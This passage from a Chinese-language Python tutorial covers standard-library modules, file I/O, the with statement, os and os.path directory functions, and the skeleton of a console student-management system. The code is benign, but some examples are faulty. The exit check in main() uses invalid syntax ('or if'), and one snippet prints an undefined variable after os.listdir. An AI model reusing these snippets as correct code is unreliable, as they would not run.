style="text-align:center">提供与日期相关的各种函数的标准库</td></tr><tr><td style="text-align:center">urllib</td><td style="text-align:center">用于读取来自网上（服务器）的数据标准库</td></tr><tr><td style="text-align:center">json</td><td style="text-align:center">用于使用 JSON 序列化和反序列化对象</td></tr><tr><td style="text-align:center">re</td><td style="text-align:center">用于在字符串中执行正则表达式匹配和替换</td></tr><tr><td style="text-align:center">math</td><td style="text-align:center">提供标准算术运算函数的标准库</td></tr><tr><td style="text-align:center">decimal</td><td style="text-align:center">用于进行精确控制运算精度、有效数位和四舍五入操作的十进制运算</td></tr><tr><td style="text-align:center">logging</td><td style="text-align:center">提供了灵活的记录事件、错误、警告和调试信息等日志信息的功能</td></tr></tbody></table><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> urllib.request</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"></span><br><span class="line">print(sys.getsizeof(<span class="number">24</span>))</span><br><span class="line">print(sys.getsizeof(<span class="number">45</span>))</span><br><span class="line">print(sys.getsizeof(<span class="literal">True</span>))</span><br><span class="line">print(sys.getsizeof(<span class="literal">False</span>))</span><br><span class="line"></span><br><span class="line">print(time.time())</span><br><span class="line">print(time.localtime(time.time()))</span><br><span class="line"></span><br><span class="line">print(urllib.request.urlopen(<span class="string">&#x27;http://www.baidu.com&#x27;</span>).read())</span><br><span class="line"></span><br><span class="line">print(math.pi)</span><br></pre></td></tr></table></figure><h2 id="6-第三方模块的安装及使用"><a class="markdownIt-Anchor" href="#6-第三方模块的安装及使用">#</a> 6. 第三方模块的安装及使用</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#DOS</span><br><span class="line">pip install schedule</span><br><span class="line">python</span><br><span class="line">import schedule</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> schedule</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">job</span>():</span></span><br><span class="line">    print(<span class="string">&#x27;哈哈-----&#x27;</span>)</span><br><span class="line">    </span><br><span class="line">schedule.every(<span class="number">3</span>).seconds.do(job)</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    schedule.run_pending()</span><br><span class="line">    time.sleep(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><h1 id="十六-大宝藏"><a class="markdownIt-Anchor" href="#十六-大宝藏">#</a> 十六、大宝藏</h1><h2 id="1-编码格式介绍"><a class="markdownIt-Anchor" href="#1-编码格式介绍">#</a> 1. 编码格式介绍</h2><p><strong>常见的字符编码格式：</strong></p><ul><li>Python 的解释器使用的是 Unicode（内存）</li><li>.py 文件咋磁盘上使用 UTF-8 存储（外存）</li></ul><p><img src="../PythonProjects/Typora_image/image-20210215103231516.png" alt="image-20210215103231516"></p><h2 id="2-文件的读写原理"><a class="markdownIt-Anchor" href="#2-文件的读写原理">#</a> 2. 文件的读写原理</h2><ul><li>文件的读写俗称 “IO 操作”</li></ul><blockquote><p>Python 操作文件 →打开或新建文件夹→读写文件→关闭资源</p></blockquote><h2 id="3-文件读写操作"><a class="markdownIt-Anchor" href="#3-文件读写操作">#</a> 3. 文件读写操作</h2><p><img src="../PythonProjects/Typora_image/image-20210216142431378.png" alt="image-20210216142431378"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">file = <span class="built_in">open</span>(<span class="string">&#x27;a.txt&#x27;</span>,<span class="string">&#x27;r&#x27;</span>)</span><br><span class="line">print(file.readlines())<span class="comment">#结果是一个list</span></span><br><span class="line">file.close()</span><br></pre></td></tr></table></figure><table><thead><tr><th style="text-align:center">打开模式</th><th style="text-align:center">描述</th></tr></thead><tbody><tr><td style="text-align:center">r</td><td style="text-align:center">只读模式打开文件，文件指针将会放在文件的开头</td></tr><tr><td style="text-align:center">w</td><td style="text-align:center">只写模式打开文件，如果文件不存在则创建；如果文件存在，则覆盖原有内容，指针放在文件开头</td></tr><tr><td style="text-align:center">a</td><td style="text-align:center">追加模式打开文件，如果文件不存在则创建，文件指针在文件开头；如果文件存在，则在文件末尾追加内容，文件指针在原文件末尾</td></tr><tr><td style="text-align:center">b</td><td style="text-align:center">二进制方式打开文件，不能单独使用，需要与其他模式一起使用，rb 或者 wb</td></tr><tr><td style="text-align:center">+</td><td style="text-align:center">读写模式打开文件，不能单独使用，需要与其他模式一起使用，a+</td></tr></tbody></table><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">file = <span class="built_in">open</span>(<span class="string">&#x27;b.txt&#x27;</span>,<span class="string">&#x27;w&#x27;</span>)</span><br><span class="line">file.write(<span class="string">&#x27;Python&#x27;</span>)</span><br><span class="line">file.close()</span><br><span class="line"></span><br><span class="line">file = <span class="built_in">open</span>(<span class="string">&#x27;b.txt&#x27;</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">file.write(<span class="string">&#x27;Python&#x27;</span>)</span><br><span class="line">file.close()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">src_file = <span class="built_in">open</span>(<span class="string">&#x27;logo.png&#x27;</span>,<span class="string">&#x27;rb&#x27;</span>)</span><br><span class="line">target_file = <span class="built_in">open</span>(<span class="string">&#x27;copylogo.png&#x27;</span>,<span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">target_file.write(src_file.read())</span><br><span class="line">target_file.close()</span><br><span class="line">src_file.close()</span><br></pre></td></tr></table></figure><h2 id="4-文件对象常用的方法"><a class="markdownIt-Anchor" href="#4-文件对象常用的方法">#</a> 4. 文件对象常用的方法</h2><table><thead><tr><th style="text-align:center">方法名</th><th style="text-align:center">说明</th></tr></thead><tbody><tr><td style="text-align:center">read([size])</td><td style="text-align:center">从文件中读取 size 个字节或字符的内容返回，若省略 [size]，则读取到文件末尾，一次读取文件所有内容</td></tr><tr><td style="text-align:center">readline()</td><td style="text-align:center">从文本文件中读取一行内容</td></tr><tr><td style="text-align:center">readlines()</td><td style="text-align:center">把文本文件中每一行都作为独立的字符串对象，并将这些对象放入列表返回</td></tr><tr><td style="text-align:center">write(str)</td><td style="text-align:center">将字符串 str 内容写入文件</td></tr><tr><td style="text-align:center">writelines(s_list)</td><td style="text-align:center">将字符串列表 s_list 写入文本文件，不添加换行符</td></tr><tr><td style="text-align:center">seek(offset[,whence])</td><td style="text-align:center">把文件指针移动到新的位置，offset 表示相对 whence 的位置；offset 为正往结束方向移动，为负往开始方向移动。whence 不同的值代表不同含义：0 从文件头开始计算，1 从当前位置开始计算；2 从文件末尾开始计算</td></tr><tr><td style="text-align:center">tell()</td><td style="text-align:center">返回文件指针的当前位置</td></tr><tr><td style="text-align:center">flush()</td><td style="text-align:center">把缓冲区的内容写入文件，但不关闭文件</td></tr><tr><td style="text-align:center">close()</td><td style="text-align:center">把缓冲区的内容写入文件，同时关闭文件，释放文件对象相关资源</td></tr></tbody></table><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">file = <span class="built_in">open</span>(<span class="string">&#x27;a.txt&#x27;</span>,<span class="string">&#x27;r&#x27;</span>)</span><br><span class="line">print(file.read(<span class="number">2</span>))</span><br><span class="line">print(file.readline())</span><br><span class="line">print(file.readlines())</span><br><span class="line">file.close()</span><br><span class="line"></span><br><span class="line">file = <span class="built_in">open</span>(<span class="string">&#x27;c.txt&#x27;</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">file.write(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">lst = [<span class="string">&#x27;java&#x27;</span>,<span class="string">&#x27;go&#x27;</span>,<span class="string">&#x27;python&#x27;</span>]</span><br><span class="line">file.writelines(lst)</span><br><span class="line">file.close()</span><br><span class="line"></span><br><span class="line">file = <span class="built_in">open</span>(<span class="string">&#x27;c.txt&#x27;</span>,<span class="string">&#x27;r&#x27;</span>)</span><br><span class="line">file.seek(<span class="number">2</span>)<span class="comment">#一个中文两个字节</span></span><br><span class="line">print(file.read())</span><br><span class="line">print(file.tell())</span><br><span class="line">file.close()</span><br><span class="line"></span><br><span class="line">file = <span class="built_in">open</span>(<span class="string">&#x27;c.txt&#x27;</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">file.write(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">file.flush()</span><br><span class="line">file.write(<span class="string">&#x27;world&#x27;</span>)</span><br><span class="line">file.close()</span><br></pre></td></tr></table></figure><h2 id="5-with语句上下文管理器"><a class="markdownIt-Anchor" href="#5-with语句上下文管理器">#</a> 5. with 语句（上下文管理器）</h2><ul><li>with 语句可以自动管理上下文资源，不论什么原因跳出 with 块，都能确保文件正确的关闭，以此来达到释放资源的目的。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="built_in">type</span>(<span class="built_in">open</span>(<span class="string">&#x27;a.txt&#x27;</span>,<span class="string">&#x27;r&#x27;</span>)))</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;a.txt&#x27;</span>,<span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    print(file.read())</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;MyContentMgr实现了特殊方法__enter__(),__exit__()称为该类对象遵守了上下文管理器协议。</span></span><br><span class="line"><span class="string">该类对象的实例对象，称为上下文管理器</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">MyContentMgr()&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyContentMgr</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__enter__</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;enter方法被调用执行了&#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span> self</span><br><span class="line">    </span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__exit__</span>(<span class="params">self,exc_type,exc_val,exc_tb</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;exit方法被调用执行了&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;show方法被调用执行了&#x27;</span>)</span><br><span class="line"><span class="keyword">with</span> MyContentMgr() <span class="keyword">as</span> file:</span><br><span class="line">    file.show()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#文件的复制</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;logo.png&#x27;</span>,<span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> src_file:</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;copy2logo.png&#x27;</span>,<span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> target_file:</span><br><span class="line">        target_file.write(src_file.read())</span><br></pre></td></tr></table></figure><h2 id="6-目录操作"><a class="markdownIt-Anchor" href="#6-目录操作">#</a> 6. 目录操作</h2><h3 id="1os模块"><a class="markdownIt-Anchor" href="#1os模块">#</a> （1）os 模块</h3><ul><li><p>os 模块是 Python 内置的与操作系统功能和文件系统相关的模块，该模块中的语句的执行结果通常与操作系统有关，在不同的操作系统上运行，得到的结果可能不一样。</p></li><li><p>os 模块与 os.path 模块用于对目录或文件进行操作。</p></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#os模块与操作系统相关的一个模块</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">os.system(<span class="string">&#x27;notepad.exe&#x27;</span>)</span><br><span class="line">os.system(<span class="string">&#x27;calc.exe&#x27;</span>)</span><br><span class="line"><span class="comment">#直接调用可执行文件</span></span><br><span class="line">os.startfile(<span class="string">&#x27;D:\\YesPlayMusic\\YesPlayMusic.exe&#x27;</span>)</span><br></pre></td></tr></table></figure><table><thead><tr><th style="text-align:center">函数</th><th style="text-align:center">说明</th></tr></thead><tbody><tr><td style="text-align:center">getcwd()</td><td style="text-align:center">返回当前的工作目录</td></tr><tr><td style="text-align:center">listdir()</td><td style="text-align:center">返回指定路径下的文件和目录信息</td></tr><tr><td style="text-align:center">mkdir(path[,mode])</td><td style="text-align:center">创建目录</td></tr><tr><td style="text-align:center">makedirs(path1/path2…[,mode])</td><td style="text-align:center">创建多级目录</td></tr><tr><td style="text-align:center">rmdir(path)</td><td style="text-align:center">删除目录</td></tr><tr><td style="text-align:center">removedirs(path1/path2…)</td><td style="text-align:center">删除多级目录</td></tr><tr><td style="text-align:center">chdir(path)</td><td style="text-align:center">将 path 设置成当前工作目录</td></tr></tbody></table><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line">print(os.getcwd())</span><br><span class="line"></span><br><span class="line">os.listdir(<span class="string">&#x27;../chap15&#x27;</span>)<span class="comment">#办公自动化经常使用</span></span><br><span class="line">print(lst)</span><br><span class="line"></span><br><span class="line">os.mkdir(<span class="string">&#x27;newdir2&#x27;</span>)</span><br><span class="line">os.makedirs(<span class="string">&#x27;A/B/C&#x27;</span>)</span><br><span class="line">os.rmdir(<span class="string">&#x27;newdir2&#x27;</span>)</span><br><span class="line">os.removedirs(<span class="string">&#x27;A/B/C&#x27;</span>)</span><br><span class="line"></span><br><span class="line">os.chdir(<span class="string">&#x27;F:\\desktop\\chap14&#x27;</span>)</span><br><span class="line">print(os.getcwd())</span><br></pre></td></tr></table></figure><h3 id="2ospath模块"><a class="markdownIt-Anchor" href="#2ospath模块">#</a> （2）os.path 模块</h3><table><thead><tr><th style="text-align:center">函数</th><th style="text-align:center">说明</th></tr></thead><tbody><tr><td style="text-align:center">abspath(path)</td><td style="text-align:center">用于获取文件或目录的绝对路径</td></tr><tr><td style="text-align:center">exists(path)</td><td style="text-align:center">用于判断文件或目录是否存在，如果存在返回 True，否则返回 False</td></tr><tr><td style="text-align:center">join(path,name)</td><td style="text-align:center">将目录与目录或者文件名拼接起来</td></tr><tr><td style="text-align:center">splitext()</td><td style="text-align:center">分离文件名和扩展名</td></tr><tr><td style="text-align:center">basename(path)</td><td style="text-align:center">从一个目录中提取文件名</td></tr><tr><td style="text-align:center">dirname(path)</td><td style="text-align:center">从一个路径中提取文件路径，不包括文件名</td></tr><tr><td style="text-align:center">isdir(path)</td><td style="text-align:center">用于判断是否为路径</td></tr></tbody></table><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os.path</span><br><span class="line">print(os.path.abspath(<span class="string">&#x27;demo13.py&#x27;</span>))</span><br><span class="line">print(os.path.exists(<span class="string">&#x27;demo13.py&#x27;</span>),os.path.exists(<span class="string">&#x27;demo18.py&#x27;</span>))</span><br><span class="line">print(os.path.join(<span class="string">&#x27;E:\\Python&#x27;</span>,<span class="string">&#x27;demo13.py&#x27;</span>))</span><br><span class="line">print(os.path.split(<span class="string">&#x27;E:\\vippython\\chap15\\demo13.py&#x27;</span>))</span><br><span class="line">print(os.path.splitext(<span class="string">&#x27;demo13.py&#x27;</span>))</span><br><span class="line">print(os.path.basename(<span class="string">&#x27;E:\\vippython\\chap15\\demo13.py&#x27;</span>))</span><br><span class="line">print(os.path.dirname(<span class="string">&#x27;E:\\vippython\\chap15\\demo13.py&#x27;</span>))</span><br><span class="line">print(os.path.isdir(<span class="string">&#x27;E:\\vippython\\chap15\\demo13.py&#x27;</span>))</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;列出指定目录下的所有py文件&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">path = os.getcwd()</span><br><span class="line">lst = os.listdir(path)</span><br><span class="line"><span class="keyword">for</span> filename <span class="keyword">in</span> lst:</span><br><span class="line">    <span class="keyword">if</span> filename.endswith(<span class="string">&#x27;.py&#x27;</span>):</span><br><span class="line">        print(filename)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#chap15--&gt;newdir--&gt;sub--&gt;遍历所有文件walk</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">path = os.getcwd()</span><br><span class="line">lst_files = os.walk(path)</span><br><span class="line"><span class="keyword">for</span> dirpath,dirname,filename <span class="keyword">in</span> lst_files:</span><br><span class="line">    print(dirname)</span><br><span class="line">    print(dirpath)</span><br><span class="line">    print(filename)</span><br><span class="line">    print(<span class="string">&#x27;--------------------------&#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> <span class="built_in">dir</span> <span class="keyword">in</span> dirname:</span><br><span class="line">        print(os.path.join(dirpath,<span class="built_in">dir</span>))</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">for</span> file <span class="keyword">in</span> filename:</span><br><span class="line">        print(os.path.join(dirpath,file))</span><br><span class="line">    print(<span class="string">&#x27;+++++++++++++++++++++++++&#x27;</span>)</span><br></pre></td></tr></table></figure><p><img src="../PythonProjects/Typora_image/image-20210216174510594.png" alt="image-20210216174510594"></p><h1 id="十七-学生信息管理系统"><a class="markdownIt-Anchor" href="#十七-学生信息管理系统">#</a> 十七、学生信息管理系统</h1><h2 id="1-需求分析"><a class="markdownIt-Anchor" href="#1-需求分析">#</a> 1. 需求分析</h2><p><strong>学生管理系统应具备的功能：</strong></p><ul><li>添加学生及成绩信息</li><li>将学生信息保存到文件中</li><li>修改和删除学生信息</li><li>查询学生信息</li><li>根据学生成绩进行排序</li><li>统计学生的总分</li></ul><h2 id="2-系统设计"><a class="markdownIt-Anchor" href="#2-系统设计">#</a> 2. 系统设计</h2><p><strong>七大模块：</strong></p><ul><li>录入学生信息模块</li><li>查找学生信息模块</li><li>删除学生信息模块</li><li>修改学生信息模块</li><li>学生成绩排名模块</li><li>统计学生总人数模块</li><li>显示全部学生信息模块</li></ul><p><img src="../PythonProjects/Typora_image/image-20210216180215185.png" alt="image-20210216180215185"></p><p><img src="../PythonProjects/Typora_image/image-20210219105757447.png" alt="image-20210219105757447"></p><h2 id="3-系统开发必备"><a class="markdownIt-Anchor" href="#3-系统开发必备">#</a> 3. 系统开发必备</h2><ul><li><p><strong>系统开发环境</strong></p><ul><li>操作环境：Win10</li><li>Python 解释器版本：Python3</li><li>开发环境：PyCharm</li><li>Python 内置模块：os，re</li></ul></li><li><p><strong>项目目录结构</strong></p><p>studentsys--&gt;students.txt&amp;<a href="http://stusystem.py">stusystem.py</a></p></li></ul><h2 id="4-主函数设计"><a class="markdownIt-Anchor" href="#4-主函数设计">#</a> 4. 主函数设计</h2><ul><li>系统主界面运行效果图</li><li>主函数的业务流程</li></ul><table><thead><tr><th style="text-align:center">编号</th><th style="text-align:center">功能</th></tr></thead><tbody><tr><td style="text-align:center">0</td><td style="text-align:center">退出系统</td></tr><tr><td style="text-align:center">1</td><td style="text-align:center">录入学生信息，调用 insert () 函数</td></tr><tr><td style="text-align:center">2</td><td style="text-align:center">查找学生信息，调用 search () 函数</td></tr><tr><td style="text-align:center">3</td><td style="text-align:center">删除学生信息，调用 delete () 函数</td></tr><tr><td style="text-align:center">4</td><td style="text-align:center">修改学生信息，调用 modify () 函数</td></tr><tr><td style="text-align:center">5</td><td style="text-align:center">对学生成绩排序，调用 sort () 函数</td></tr><tr><td style="text-align:center">6</td><td style="text-align:center">统计学生总人数，调用 total () 函数</td></tr><tr><td style="text-align:center">7</td><td style="text-align:center">显示所有学生信息，调用 show () 函数</td></tr></tbody></table><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">filename = <span class="string">&#x27;student.txt&#x27;</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        menu()</span><br><span class="line">        choice = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请选择：\n&#x27;</span>))</span><br><span class="line">        <span class="keyword">if</span> choice <span class="keyword">in</span> [<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">7</span>]:</span><br><span class="line">            <span class="keyword">if</span> choice == <span class="number">0</span>:</span><br><span class="line">                answer = <span class="built_in">input</span>(<span class="string">&#x27;您确定退出系统吗？y/n \n&#x27;</span>)</span><br><span class="line">                <span class="keyword">if</span> answer == <span class="string">&#x27;y&#x27;</span> <span class="keyword">or</span> <span class="keyword">if</span> answer == <span class="string">&#x27;Y&#x27;</span>:</span><br><span class="line">                    print(<span class="string">&#x27;谢谢您的使用！&#x27;</span>)</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">if</span> choice == <span class="number">1</span>:</span><br><span class="line">                insert()</span><br><span class="line">            <span class="keyword">elif</span> choice == <span class="number">2</span>:</span><br><span class="line">                search()</span><br><span class="line">            <span class="keyword">elif</span> choice == <span class="number">3</span>:</span><br><span class="line">                delete()</span><br><span class="line">            <span class="keyword">elif</span> choice == <span class="number">4</span>:</span><br><span class="line">                modify()</span><br><span class="line">            <span class="keyword">elif</span> choice == <span class="number">5</span>:</span><br><span class="line">                sort()</span><br><span class="line">            <span class="keyword">elif</span> choice == <span class="number">6</span>:</span><br><span class="line">                total()</span><br><span class="line">            <span class="keyword">elif</span> choice == <span class="number">7</span>:</span><br><span class="line">                show()</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">menu</span>():</span></span><br><span class="line">    print(<span class="string">&#x27;======================学生信息管理系统===================&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;-----------------------功能菜单-----------------------&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;\t\t\t\t\t\t 1.录入学生信息&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;\t\t\t\t\t\t 2.查找学生信息&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;\t\t\t\t\t\t 3.删除学生信息&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;\t\t\t\t\t\t 4.修改学生信息&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;\t\t\t\t\t\t 5.排序&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;\t\t\t\t\t\t 6.统计学生总人数&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;\t\t\t\t\t\t 7.显示所有学生信息&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;\t\t\t\t\t\t 0.退出系统&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;------------------------------------------------------&#x27;</span>)</span><br><span class="line">    </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">insert</span>():</span><span class="comment">#(1)</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">search</span>():</span><span class="comment">#(4)</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span>():</span><span class="comment">#(2)</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">modify</span>():</span><span class="comment">#(3)</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sort</span>():</span><span class="comment">#(7)</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">total</span>():</span><span class="comment">#(5)</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>():</span><span class="comment">#(6)</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><h2 id="5-学生信息维护模块设计"><a class="markdownIt-Anchor" href="#5-学生信息维护模块设计">#</a> 5. 学生信息维护模块设计</h2><h3 id="1录入学生信息"><a class="markdownIt-Anchor" href="#1录入学生信息">#</a> （1）录入学生信息</h3><ul><li>** 实现录入学生信息模块：** 从控制台录入学生信息，并保存到磁盘文件中。</li><li>save (student) 函数，用于将学生信息保存到文件</li><li>insert () 函数，用于录入学生信息</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 